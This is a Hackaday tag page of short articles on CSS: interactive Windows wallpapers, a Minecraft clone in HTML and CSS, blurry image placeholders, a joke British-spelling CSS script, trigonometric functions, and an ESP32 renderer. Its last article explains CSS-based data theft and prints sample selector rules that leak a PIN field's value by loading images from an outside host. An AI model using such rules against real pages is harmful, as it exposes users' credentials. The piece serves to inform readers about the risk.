css

13 Articles

Octos background with hackaday website pulled up

Open Source Interactive Wallpapers For Windows

August 30, 2025 by 19 Comments

It’s late at night, and you’re avoiding work that was supposed to be done yesterday. You could open an application on your desktop to keep your attention, or what about the desktop itself? [Underpig1] has you covered with Octos. Octos is an open-source application created to allow interactive wallpapers based on HTML, CSS, or JS for Windows 10 and 11.

There are many wallpaper applications made to spruce up your desktop, but Octos stands out to us here at Hackaday from the nature of being open source. What comes along with the project is a detailed API to reference when creating your own wallpaper. Additionally, this allows for detailed and efficient visualization techniques that would otherwise be difficult to display, perfect for procrastination.

Included demos range from an interactive solar system to Conway’s Game of Life. Customization options allow for basic manipulation of the backdrops in the application itself, but we’re sure you could allow for some fun options with enough tinkering.

If you want to try Octos out for yourself, it’s incredibly easy. Octos can be found on the Microsoft Store, and additional backdrops can be added within the application. Open-source applications allow for incredibly easy additions to your personal device, but it’s not always that way. Kindle has been a prime example of a fairly locked down system; however, that never stops a clever hacker!

Thanks to [Joshua Throm] for the tip!

Minecraft Clone Manages With Nothing But HTML + CSS

June 25, 2025 by 5 Comments

Can a 3D Minecraft implementation be done entirely in CSS and HTML, without a single line of JavaScript in sight? The answer is yes!

True, this small clone is limited to playing with blocks in a world that measures only 9x9x9, but the fact that [Benjamin Aster] managed it at all using only CSS and pure HTML is a fantastic achievement. As far as proofs of concept go, it’s a pretty clever one.

The project consists of roughly 40,000 lines of HTML radio buttons and labels, combined with fewer than 500 lines of CSS where the real work is done. In a short thread on X [Benjamin] explains that each block in the 9x9x9 world is defined with the help of tens of thousands of <label> and <input type="radio"> elements to track block types and faces, and CSS uses that as a type of display filter. Clicking a block is clicking a label, and changing a block type (“air” or no block is considered a type of block) switches which labels are visible to the user.

Viewing in 3D is implemented via CSS animations which apply transforms to what is displayed. Clicking a control starts and stops the animation, resulting in a view change. It’s a lot of atypical functionality for plain HTML and CSS, showing what is possible with a bit of out-of-the-box thinking.

[Simon Willison] has a more in-depth analysis of CSS-Minecraft and how it works, and the code is on GitHub if you want a closer look.

Once you’re done checking that out and hungry for more cleverness, don’t miss Minecraft in COBOL and Minecraft Running in… Minecraft.

Blurry Image Placeholders, Generated With Minimal CSS

May 1, 2025 by 9 Comments

Low-quality image placeholders (LQIPs) have a solid place in web page design. There are many different solutions but the main gotcha is that generating them tends to lean on things like JavaScript, requires lengthy chunks of not-particularly-human-readable code, or other tradeoffs. [Lean] came up with an elegant, minimal solution in pure CSS to create LQIPs.

Here’s how it works: all required data is packed into a single CSS integer, which is decoded directly in CSS (no need for any JavaScript) to dynamically generate an image that renders immediately. Another benefit is that without any need for wrappers or long strings of data this method avoids cluttering the HTML. The code is little more than a line like <img src="…" style="--lqip:567213"> which is certainly tidy, as well as a welcome boon to those who hand-edit files.

The trick with generating LQIPs from scratch is getting an output that isn’t hard on the eyes or otherwise jarring in its composition. [Lean] experimented until settling on an encoding method that reliably delivered smooth color gradients and balance.

This method therefore turns a single integer into a perfectly-serviceable LQIP, using only CSS. There’s even a separate tool [Lean] created to compress any given image into the integer format used (so the result will look like a blurred version of the original image). It’s true that the results look very blurred but the code is clean, minimal, and the technique is easily implemented. You can see it in action in [Lean]’s interactive LQIP gallery.

CSS has a lot of capability baked into it, and it’s capable of much more than just styling and lining up elements. How about trigonometric functions in CSS? Or from the other direction, check out implementing a CSS (and HTML) renderer on an ESP32.

BritCSS: Write CSS With British English Spellings

March 13, 2025 by 37 Comments

Everyone knows that there is only one proper English, with the rest being mere derivatives that bastardize the spelling and grammar. Despite this, the hoodlums who staged a violent uprising against British rule in the American colonies have somehow made their uncouth dialect dominant in the information technologies that have taken the world by storm these past decades. In this urgent mission to restore the King’s English to its rightful place, we fortunately have patriotic British citizens who have taken it upon themselves to correct this grave injustice. Brave citizens such as [Declan Chidlow], whose BritCSS project is a bright beacon in these harrowing times.

Implemented as a simple, 14 kB JavaScript script to be included in an HTML page, it allows one to write CSS files using proper spelling, such as background-colour and centre. Meanwhile harsh language such as !important is replaced with the more pleasant !if-you-would-be-so-kind. It is expected that although for now this script has to be included on each page to use BritCSS, native support will soon be implemented in every browser, superseding the US dialect version. [Declan] has also been recommended to be awarded the Order of the British Empire for his outstanding services.

Using Trigonometric Functions In CSS

August 1, 2023 by 14 Comments

Often neglected as ‘merely a styling language’, CSS contains a wealth of functions built right into the browser’s rendering engine that can perform everything from animations to typography and even mathematical operations, with more added each year.

Screenshot of the output of the basic rotating dots example using CSS.

In a tutorial [Bramus] takes us through using the trigonometric functions in CSS. These are supported in all major browsers since Chrome 111, Firefox 108 and Safari 15.4. In addition to these trigonometric functions, further mathematical functions are also available, many of whom have been available for years now, such as calc(), min() and max().

Unlike the JavaScript version of the CSS trigonometric functions, the CSS functions accept both angles and radians for the argument. Perhaps the nicest thing about having this functionality in CSS is that it removes the need to add JavaScript for many simple things on a webpage, such as animations, translations and the calculating of offsets and positions. Perhaps most impressive is the provided example by [Ana Tudor] who created an animated Möbius strip using cos() and sin() and a handful of other CSS functions.

None of this is likely surprising to anyone who is somewhat familiar with the depths of CSS, especially after it has been more-or-less proven to be a Turing-complete programming language. Using this power for visual elements does however make a lot of sense considering that CSS was always intended to help with styling and formatting the raw HTML.

Do you use these advanced CSS features already, or is it something you might consider using in the future, possibly over JavaScript versions? Feel free to share your thoughts and experiences in the comments.

(Heading: Code to move items on a circular path around a central point in CSS.)

Render HTML And CSS On An ESP32

March 18, 2022 by 9 Comments

As the available computing power from affordable microcontrollers continues to increase, there is an inevitable blurring of the line between them and the lower tier of application processors capable of running Linux-based operating systems. For the most part a microcontroller busies itself with behind-the-scenes tasks, but as so many projects here have demonstrated, they can be pretty capable when it comes to user-facing applications too. Now [Andy Green] has extended the possibilities with affordable silicon, by producing a proof-of-concept HTML + CSS renderer over h2 on ESP32 for libwebsockets. Surf the web on a microcontroller without settling for a text-only experience? Why not!

He freely admits that this is far from being a complete HTML rendering engine, in that while it parses and renders HTML and CSS with JPEG and PNG image support, it does so only with a subset of HTML and is not tolerant of any malformations. There is also no JS support, which is hardly surprising given the available resources.

Even with those limitations it remains an impressive piece of work, which we hope will one day be able to make some effort at displaying Hackaday on ESP32 devices such as the badge.team European conference badges. Definitely a project to watch!

CSS Steals Your Web Data

February 25, 2018 by 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

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